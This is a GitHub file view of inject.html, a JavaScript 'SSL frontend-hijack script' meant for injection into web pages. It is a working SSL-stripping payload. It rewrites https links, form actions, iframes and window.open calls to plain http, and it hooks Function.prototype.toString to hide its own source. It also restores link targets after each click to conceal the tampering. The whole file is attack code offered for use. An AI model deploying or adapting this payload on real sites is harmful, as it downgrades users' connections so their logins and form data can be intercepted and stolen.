-
Notifications
You must be signed in to change notification settings - Fork 60
/
inject.html
175 lines (150 loc) · 4.14 KB
/
inject.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
<script>
/**
* SSL frontend-hijack script
* @version 0.1.1
* @update 2014/10/28
*/
(function() {
// for ie6,7,8
var DOM_3 = !!window.addEventListener;
function $bind(target, event, callback) {
if (DOM_3) {
target.addEventListener(event, callback);
}
else {
target.attachEvent('on' + event, callback);
}
}
function $operator(fn, thiz, $) {
// standard
if ('apply' in fn) {
return fn.apply(thiz, $);
}
// functor (old-ie)
switch ($.length) {
case 0 : return fn();
case 1 : return fn($[0]);
case 2 : return fn($[0], $[1]);
case 3 : return fn($[0], $[1], $[2]);
default: return fn($[0], $[1], $[2], $[3]);
}
}
//
// url transform
//
var R_HTTPS = /^https:/i;
var R_FAKE = /[?&]zh_cn#?/;
var FAKE_SYMBOL = 'zh_cn';
function isFakeUrl(url) {
return R_FAKE.test(url);
}
function isHttpsUrl(url) {
return url && R_HTTPS.test(url);
}
function downgradeUrl(url) {
// change protocol, and make a mark
return url.replace(R_HTTPS, 'http:') +
(/\?/.test(url) ? '&' : '?') + FAKE_SYMBOL;
}
//
// Hook System
//
var _hasOwnProperty = Object.prototype.hasOwnProperty; // for old-IE
function hook(ns, key, factory) {
if (!_hasOwnProperty.call(ns, key)) {
return false;
}
var oldFn = ns[key];
var newFn = factory(oldFn);
newFn._str_ = oldFn + '';
ns[key] = newFn;
return true;
}
// hidden source code
function toString_factory(oldFn) {
return function() {
return this._str_ || oldFn.apply(this, arguments);
};
}
hook(Function.prototype, 'toString', toString_factory);
hook(Function.prototype, 'toSource', toString_factory);
//
// hook window.open('https://...')
//
function winopen_factory(oldFn) {
return function(url) {
if (isHttpsUrl(url)) {
arguments[0] = downgradeUrl(url);
}
return $operator(oldFn, this, arguments);
};
}
if (window.Window) {
hook(Window.prototype, 'open', winopen_factory);
}
hook(window, 'open', winopen_factory);
//
// Event Hook
//
function cheat(el, urlProp) {
var url = el[urlProp];
el[urlProp] = downgradeUrl(url);
// restore later
setTimeout(function() {
el[urlProp] = url;
}, 100);
}
// hook <a href="https://...">
$bind(document, 'click', function(e) {
e = e || event;
var el = e.target || e.srcElement;
do {
if (el.tagName == 'A') {
if (el.protocol == 'https:') {
cheat(el, 'href');
}
}
} while(el = el.parentNode);
});
// hook <form action="https://...">
if (DOM_3) {
$bind(document, 'submit', submitHandler);
}
else {
setInterval(function() {
var forms = document.getElementsByTagName('form');
for(var i = forms.length - 1; i >= 0; i--) {
var form = forms[i];
if (!form._hooked_) {
form._hooked_ = true;
$bind(form, 'submit', submitHandler);
}
}
}, 500);
}
function submitHandler(e) {
e = e || event;
var el = e.target || e.srcElement;
if (isHttpsUrl(el.action)) {
cheat(el, 'action');
}
}
//
// monitor <iframe src="https://...">
//
function scanFrames(el) {
var frames = document.getElementsByTagName('iframe');
for (var i = 0, n = frames.length; i < n; i++) {
var el = frames[i];
if (isHttpsUrl(el.src)) {
el.src = downgradeUrl(el.src);
}
}
}
var timer = setInterval(scanFrames, 20);
$bind(window, 'load', function() {
clearInterval(timer);
setInterval(scanFrames, 200);
});
})();
</script>